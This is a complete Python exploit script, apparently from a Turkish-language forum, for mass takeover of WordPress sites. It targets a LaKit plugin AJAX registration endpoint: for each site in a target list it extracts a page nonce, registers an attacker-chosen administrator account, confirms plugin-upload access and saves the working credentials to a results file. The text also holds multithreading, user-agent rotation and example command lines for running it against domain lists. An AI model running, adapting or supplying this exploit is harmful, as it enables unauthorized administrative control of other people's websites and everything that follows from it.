Python:
import argparse
import argparse
import threading
import requests
import random
import sys
import urllib3
import warnings
from queue import Queue
from colorama import init, Fore, Style
import re
import time
init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
warnings.filterwarnings("ignore", category=urllib3.exceptions.InsecureRequestWarning)
# Exploit için kullanılan kimlik bilgileri
ADMIN_EMAIL = "[email protected]" # Değiştirebilirsiniz
ADMIN_PASSWORD = "dxeTHT" # Değiştirebilirsiniz
ADMIN_USERNAME = "@dminDxe" # Değiştirebilirsiniz
RESULT_FILE = "success_results.txt"
def log_info(site, msg):
ts = time.strftime("%H:%M:%S")
print(f"[{ts}] {Fore.CYAN}[*]{Style.RESET_ALL} {site} - {msg}")
def log_ok(site, msg):
ts = time.strftime("%H:%M:%S")
print(f"[{ts}] {Fore.GREEN}[+]{Style.RESET_ALL} {site} - {msg}")
def log_warn(site, msg):
ts = time.strftime("%H:%M:%S")
print(f"[{ts}] {Fore.YELLOW}[!]{Style.RESET_ALL} {site} - {msg}")
def log_err(site, msg):
ts = time.strftime("%H:%M:%S")
print(f"[{ts}] {Fore.RED}[-]{Style.RESET_ALL} {site} - {msg}")
def random_user_agent():
agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 "
"(KHTML, like Gecko) Version/14.1.2 Safari/605.1.15",
]
return random.choice(agents)
def normalize_base(site: str) -> str:
site = site.strip()
if not site.startswith(("http://", "https://")):
site = "https://" + site
return site.rstrip("/")
def extract_ajax_nonce(site: str, timeout: int = 10) -> str | None:
base = normalize_base(site)
headers = {"User-Agent": random_user_agent()}
paths = [
"",
"/",
"/index.php",
"/home",
"/start",
"/?page_id=1",
"/?p=1",
]
for path in paths:
url = base + path
try:
resp = requests.get(url, headers=headers, timeout=timeout, verify=False)
except Exception:
continue
if resp.status_code != 200:
continue
html = resp.text
m = re.search(r'"ajaxNonce"\s*:\s*"([a-zA-Z0-9_-]{5,})"', html)
if m:
return m.group(1)
patterns = [
r"ajaxNonce['\"]?\s*:\s*['\"]([a-zA-Z0-9_-]{5,})['\"]",
r"['\"]ajaxNonce['\"]\s*[:=]\s*['\"]([a-zA-Z0-9_-]{5,})['\"]",
r"data-ajaxnonce=['\"]([a-zA-Z0-9_-]{5,})['\"]",
r"data-ajax-nonce=['\"]([a-zA-Z0-9_-]{5,})['\"]",
]
for pat in patterns:
m2 = re.search(pat, html, re.IGNORECASE)
if m2:
return m2.group(1)
return None
def lakit_register_admin(
site: str,
nonce: str,
email: str,
password: str,
username: str,
timeout: int = 15,
) -> tuple[int, str]:
base = normalize_base(site)
endpoint = f"{base}/wp-admin/admin-ajax.php"
sess = requests.Session()
sess.verify = False
sess.headers.update(
{
"User-Agent": random_user_agent(),
"Accept": "*/*",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
}
)
actions_payload = (
"{"
'"req1":{'
'"action":"register",'
'"data":{'
f'"email":"{email}",'
f'"password":"{password}",'
f'"username":"{username}",'
'"lakit_field_log":"yes",'
'"lakit_field_pwd":"yes",'
'"lakit_field_cpwd":"no",'
'"lakit_bkrole":"1",'
'"lakit_recaptcha_response":""'
'}'
'}'
'}'
)
data = {
"action": "lakit_ajax",
"_nonce": nonce,
"actions": actions_payload,
}
try:
r = sess.post(endpoint, data=data, timeout=timeout, allow_redirects=True)
except Exception as e:
return 0, f"İSTEK_İSTİSNASI: {e}"
return r.status_code, (r.text or "")
def verify_full_admin(site: str, username: str, password: str, timeout: int = 10) -> bool:
base = normalize_base(site)
login_url = f"{base}/wp-login.php"
sess = requests.Session()
sess.verify = False
headers = {"User-Agent": random_user_agent()}
try:
sess.get(login_url, timeout=timeout, verify=False, headers=headers)
except Exception:
pass
login_data = {
"log": username.strip(),
"pwd": password,
"wp-submit": "Giriş Yap",
"testcookie": "1",
}
headers = {
"User-Agent": random_user_agent(),
"Cookie": "wordpress_test_cookie=WP Cookie check",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": login_url,
}
try:
r = sess.post(
login_url,
data=login_data,
headers=headers,
timeout=timeout,
verify=False,
allow_redirects=True,
)
except Exception:
return False
content = (r.text or "").lower()
failure_indicators = [
"incorrect username or password",
"invalid username",
"invalid password",
"error: the username",
"is not registered",
"authentication failed",
"login failed",
"unknown username",
"error: the password you entered",
]
if any(ind in content for ind in failure_indicators):
return False
success_indicators = [
"dashboard",
"wp-admin-bar",
"adminmenu",
"wp-admin/index.php",
"wp-admin/profile.php",
]
could_be_logged_in = any(ind in content for ind in success_indicators)
cookie_header = r.headers.get("Set-Cookie", "")
if "wordpress_logged_in" in cookie_header or any(
c.name.startswith("wordpress_logged_in") for c in sess.cookies
):
could_be_logged_in = True
if not could_be_logged_in:
return False
admin_urls = [
f"{base}/wp-admin/plugin-install.php",
f"{base}/wp-admin/plugin-install.php?tab=upload",
f"{base}/wp-admin/plugins.php?page=plugin-install",
]
try:
for u in admin_urls:
try:
rr = sess.get(
u,
timeout=timeout,
verify=False,
headers={"User-Agent": random_user_agent()},
allow_redirects=False,
)
except Exception:
continue
if rr.status_code == 200 and "wp-login.php" not in (rr.url or ""):
txt = (rr.text or "").lower()
installation_indicators = [
"plugin-install-tab",
"upload-plugin",
"plugin-upload-form",
"install-plugin-upload",
"pluginzip",
"browse plugins",
"add plugins",
]
if any(ind in txt for ind in installation_indicators):
return True
elif rr.status_code in (301, 302):
loc = rr.headers.get("Location", "")
if "wp-login.php" in loc:
return False
except Exception:
pass
return False
def worker(thread_id, targets_chunk, out_queue, email, password, username, result_file, lock):
for site in targets_chunk:
base = normalize_base(site)
try:
log_info(base, "Hedef başlatılıyor")
nonce = extract_ajax_nonce(base)
if not nonce:
log_warn(base, "Nonce bulunamadı")
out_queue.put(("failed", site, "nonce-not-found"))
continue
log_ok(base, f"Nonce: {nonce}")
status_code, resp_text = lakit_register_admin(
base, nonce, email, password, username
)
log_info(base, f"AJAX HTTP durumu: {status_code}")
if status_code != 200:
log_warn(base, "admin-ajax.php'den 200 dışı HTTP durumu")
out_queue.put(("failed", site, f"http-{status_code}"))
continue
low = resp_text.lower()
response_success = False
success_markers = [
"created successfully",
'"success":true',
"'success':true",
'"type":"success"',
'"status":"success"',
]
if any(m in low for m in success_markers):
response_success = True
log_ok(base, "AJAX yanıtı başarı gösteriyor")
login_ok = verify_full_admin(base, username, password)
log_info(
base,
f"Tam yönetici doğrulaması (giriş + eklenti yükleme erişimi): "
f"{'TAMAM' if login_ok else 'BAŞARISIZ'}",
)
if response_success and login_ok:
print(Fore.GREEN + "=" * 60 + Style.RESET_ALL)
print(Fore.GREEN + "[ BAŞARI BLOĞU ]" + Style.RESET_ALL)
print(
f"{Fore.GREEN}Site :{Style.RESET_ALL} {base}\n"
f"{Fore.GREEN}Sonuç :{Style.RESET_ALL} BAŞARI\n"
f"{Fore.GREEN}AJAX TAMAM :{Style.RESET_ALL} EVET\n"
f"{Fore.GREEN}TAM YÖNETİCİ:{Style.RESET_ALL} EVET (giriş + eklenti yükleme erişimi)"
)
print(Fore.GREEN + "=" * 60 + Style.RESET_ALL)
status_line = (
f"{base} | KULLANICI ADI: {username} | EPOSTA: {email} "
f"| ŞİFRE: {password} "
f"| GİRİŞ: TAM YÖNETİCİ TAMAM "
f"| BAŞARI MI?: EVET "
f"| NONCE: {nonce}"
)
write_result(result_file, status_line, lock)
out_queue.put(("success", site))
elif response_success and not login_ok:
log_warn(
base,
"AJAX başarı gösteriyor ancak tam yönetici doğrulaması başarısız "
"(hesap yönetici yetkileri olmadan oluşturulmuş olabilir veya mail/aktivasyon akışı).",
)
out_queue.put(("failed", site, "ajax-success-login-failed"))
elif not response_success and login_ok:
log_warn(
base,
"Tam yönetici girişi TAMAM ancak AJAX yanıtında başarı işareti yok "
"(mevcut yönetici kullanıcısı olabilir veya özel yanıt).",
)
out_queue.put(("failed", site, "login-success-no-ajax-marker"))
else:
log_warn(base, "AJAX başarı işareti yok ve tam yönetici doğrulaması başarısız")
out_queue.put(("failed", site, "no-success-marker-and-login-failed"))
except Exception as e:
log_err(base, f"İstisna: {e}")
out_queue.put(("failed", site, "exception"))
def chunkify(lst, n):
if n <= 0:
n = 1
return [lst[i::n] for i in range(n)]
def write_result(filename, data, lock):
with lock:
with open(filename, "a", encoding="utf-8") as f:
f.write(data + "\n")
def read_targets(filename):
targets = []
try:
with open(filename, "r", encoding="utf-8") as f:
for line in f:
url = line.strip()
if url:
targets.append(url)
except FileNotFoundError:
print(f"Hedefler dosyası bulunamadı: {filename}")
sys.exit(1)
return targets
def print_success_global(result_file):
print(Fore.GREEN + "\n" + "#" * 60 + Style.RESET_ALL)
print(
Fore.GREEN
+ "# Exploit tamamlandı: bazı hedeflerde BAŞARI elde edildi. #"
+ Style.RESET_ALL
)
print(
Fore.GREEN
+ f"# Sonuçlar kaydedildi: {result_file:<35}#"
+ Style.RESET_ALL
)
print(Fore.GREEN + "#" * 60 + Style.RESET_ALL)
def print_failed_global():
print(Fore.RED + "\nBaşarılı hedef tespit edilmedi." + Style.RESET_ALL)
def printer_loop(queue):
any_success = False
while True:
item = queue.get()
if item is None:
break
typ = item[0]
if typ == "success":
any_success = True
if any_success:
print_success_global(RESULT_FILE)
else:
print_failed_global()
def parse_args():
parser = argparse.ArgumentParser(description="WordPress zafiyet tarayıcısı")
parser.add_argument(
"-f",
"--file",
default="list.txt",
help="Hedef listesinin bulunduğu dosya (varsayılan: list.txt)",
)
parser.add_argument(
"-t",
"--threads",
type=int,
default=10,
help=f"Eşzamanlı iş parçacığı sayısı",
)
parser.add_argument(
"-o",
"--output",
default=RESULT_FILE,
help=f"Kayıt dosyası (varsayılan: {RESULT_FILE})",
)
parser.add_argument(
"--email",
default=ADMIN_EMAIL,
help="Oluşturulacak yönetici e-posta adresi",
)
parser.add_argument(
"--user",
default=ADMIN_USERNAME,
help="Oluşturulacak yönetici kullanıcı adı",
)
parser.add_argument(
"--password",
default=ADMIN_PASSWORD,
help="Oluşturulacak yönetici şifresi",
)
parser.add_argument(
"--no-input",
action="store_true",
help="Kullanıcı girdisi istemeden doğrudan komut satırından çalıştır",
)
return parser.parse_args()
def main():
args = parse_args()
if args.no_input:
list_file = args.file
num_threads = args.threads if args.threads > 0 else 10
result_file = args.output
email = args.email
username = args.user
password = args.password
else:
list_file = input("Hedef listesi dosya adı girin (örnek: list.txt): ").strip()
if not list_file:
list_file = "list.txt"
try:
num_threads = int(input("İş parçacığı (thread) sayısı girin (varsayılan 10): ").strip())
if num_threads <= 0:
num_threads = 10
except ValueError:
num_threads = 10
result_file = input(f"Çıktı dosyası (varsayılan: {RESULT_FILE}): ").strip() or RESULT_FILE
email = input(f"Yönetici e-posta (varsayılan: {ADMIN_EMAIL}): ").strip() or ADMIN_EMAIL
username = input(f"Yönetici kullanıcı adı (varsayılan: {ADMIN_USERNAME}): ").strip() or ADMIN_USERNAME
password = input(f"Yönetici şifresi (varsayılan: {ADMIN_PASSWORD}): ").strip() or ADMIN_PASSWORD
targets = read_targets(list_file)
if not targets:
print("Yüklenecek hedef bulunamadı.")
sys.exit(1)
safe_threads = min(num_threads, len(targets)) if targets else 1
queue = Queue()
threads = []
chunks = chunkify(targets, safe_threads)
lock = threading.Lock()
printer = threading.Thread(target=printer_loop, args=(queue,), daemon=True)
printer.start()
start_time = time.time()
for i in range(safe_threads):
th = threading.Thread(
target=worker,
args=(i, chunks[i], queue, email, password, username, result_file, lock),
daemon=True,
)
th.start()
threads.append(th)
for th in threads:
th.join()
queue.put(None)
printer.join()
elapsed = time.time() - start_time
print(Fore.CYAN + f"\nToplam süre: {elapsed:.1f} saniye" + Style.RESET_ALL)
if __name__ == "__main__":
main()
Kullanım komutu örnek;
python cve2026_0920.py -f domainlist.txt -t 20 -o success_results.txt --no-inputDiğer örnek;
python cve2026_0920.py -f domainlist.txt -t 20 -o success_results.txt --email [email protected] --user thtadmin --password ThTAdmin --no-input



